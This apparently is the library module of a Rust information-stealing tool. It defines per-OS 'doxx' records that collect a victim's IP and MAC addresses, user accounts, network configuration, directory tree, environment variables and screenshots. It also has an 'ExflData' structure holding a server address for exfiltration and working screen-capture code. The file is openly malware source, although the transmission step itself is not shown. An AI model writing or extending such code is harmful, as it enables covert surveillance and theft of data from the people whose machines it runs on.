1#[cfg(test)]
2mod tests {
3 #[test]
4 fn it_works() {
5 assert_eq!(2 + 2, 4);
6 }
7}
8extern crate scrap;
9extern crate bincode;
10#[macro_use]
11extern crate serde_derive;
12extern crate serde;
13
14use scrap::{Capturer, Display, Frame};
15use std::io::ErrorKind::WouldBlock;
16use std::fs::File;
17use std::thread;
18use std::time::Duration;
19
20pub mod consts {
22
23 pub const SERVER_IP: &str = "127.0.0.1";
25 pub const SERVER_PORT: &str = "80";
27
28 pub const SS: bool = true;
30
31 pub const DEBUG: bool = false;
32
33 pub const TREE: bool = false;
34
35 pub const USERNAMES: bool = false;
37
38
39}
40
41pub mod types {
43
44 #[derive(Debug, Serialize, Deserialize)]
45 pub struct DoxxBuf {
46 pub doxx: Option<DoxxType>,
47 pub os: OsType
48 }
49
50 #[derive(Debug, Serialize, Deserialize)]
53 pub struct WinDoxx {
54 pub ip_addr: String,
56 pub users: Vec<String>,
58 pub mac_addr: String,
60 pub screen: SS,
62 pub ipconfig: String,
64 }
65
66 impl WinDoxx {
67 pub fn new() -> Self {
69 WinDoxx { ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), ipconfig: "".to_string()}
70 }
71 }
72
73 #[derive(Debug, Serialize, Deserialize)]
76 pub struct GnuDoxx {
77 pub screen: SS,
79 pub uname: String,
81 pub ip_addr: String,
83 pub users: Vec<String>,
85 pub mac_addr: String,
87 pub ifconfig: String,
89 pub tree: String,
91 pub env: String
93 }
94
95 impl GnuDoxx {
96 pub fn new() -> Self {
98 GnuDoxx { uname: "".to_string(), ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), tree: "".to_string(), ifconfig: "".to_string(), env: "".to_string()}
99 }
100 }
101
102 #[derive(Debug, Serialize, Deserialize)]
105 pub struct MacDoxx {
106 pub screen: SS,
108 pub ip_addr: String,
110 pub users: Vec<String>,
112 pub mac_addr: String
114 }
115
116
117 #[derive(Debug)]
120 pub struct ExflData {
121 pub server_ip: String,
123 pub server_port: String,
125
126 pub doxx: Option<DoxxType>
127 }
137
138 #[derive(Debug, Serialize, Deserialize)]
139 pub struct SS {
140 pub h: usize,
142 pub w: usize,
144 pub data: Vec<u8>
146 }
147
148 impl SS {
149
150 pub fn new() -> Self {
151 SS { h: 0, w: 0, data: vec!(0u8) }
152 }
153 }
154
155
156 #[derive(Debug, Serialize, Deserialize)]
158 pub enum OsType {
159 Mac,
161 Windows,
163 Linux,
165 Other
167 }
168
169 #[derive(Debug, Serialize, Deserialize)]
170 pub enum DoxxType{
171 Mac(MacDoxx),
172 Windows(WinDoxx),
173 Linux(GnuDoxx)
174 }
175}
176
177pub mod util {
179
180
181 use super::*;
182
183 pub unsafe fn any_as_u8_slice<T: Sized>(p: &T) -> &[u8] {
185 ::std::slice::from_raw_parts(
186 (p as *const T) as *const u8,
187 ::std::mem::size_of::<T>(),
188 )
189 }
190
191 pub fn os_detect() -> types::OsType {
193
194 let os: types::OsType;
195
196 if cfg!(windows) {
197 os = types::OsType::Windows;
198 } else if cfg!(unix) {
199 os = types::OsType::Linux;
200 } else if cfg!(macos) {
201 os = types::OsType::Mac;
202 }
203 else {
204 os = types::OsType::Other;
205 }
206
207 return os;
208
209 }
210
211
212 pub fn screenshot() -> types::SS {
214 let one_second = Duration::new(1, 0);
215 let one_frame = one_second / 60;
216
217 let display = Display::primary().expect("Couldn't find primary display.");
218 let mut capturer = Capturer::new(display).expect("Couldn't begin capture.");
219 let (w, h) = (capturer.width(), capturer.height());
220
221 loop {
222 let buffer = match capturer.frame() {
225 Ok(buffer) => buffer,
226 Err(error) => {
227 if error.kind() == WouldBlock {
228 thread::sleep(one_frame);
230 continue;
231 } else {
232 panic!("Error: {}", error);
233 }
234 }
235 };
236
237 let mut bitflipped = Vec::with_capacity(w * h * 4);
238 let stride = buffer.len() / h;
239
240 for y in 0..h {
241 for x in 0..w {
242 let i = stride * y + 4 * x;
243 bitflipped.extend_from_slice(&[
244 buffer[i + 2],
245 buffer[i + 1],
246 buffer[i],
247 255,
248 ]);
249 }
250 }
251
252 return types::SS {
253 h: h, w: w, data: bitflipped
254 }
255 }
256
257
258 }
259}